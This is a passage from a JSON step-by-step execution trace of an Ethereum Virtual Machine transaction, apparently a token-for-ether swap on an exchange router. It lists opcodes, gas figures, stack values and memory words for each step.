x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x136dbf40ac09b","0x152e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5422,"op":"JUMPDEST","gas":101587,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5423,"op":"SWAP13","gas":101586,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5424,"op":"SWAP12","gas":101583,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x20f2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5425,"op":"POP","gas":101580,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5426,"op":"POP","gas":101578,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5427,"op":"POP","gas":101576,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5428,"op":"POP","gas":101574,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5429,"op":"POP","gas":101572,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5430,"op":"POP","gas":101570,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5431,"op":"POP","gas":101568,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5432,"op":"POP","gas":101566,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5433,"op":"POP","gas":101564,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5434,"op":"POP","gas":101562,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5435,"op":"POP","gas":101560,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5436,"op":"POP","gas":101558,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5437,"op":"JUMP","gas":101556,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20f2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8434,"op":"JUMPDEST","gas":101548,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8435,"op":"DUP3","gas":101547,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8436,"op":"PUSH2","gas":101544,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8439,"op":"DUP4","gas":101541,"gasCost"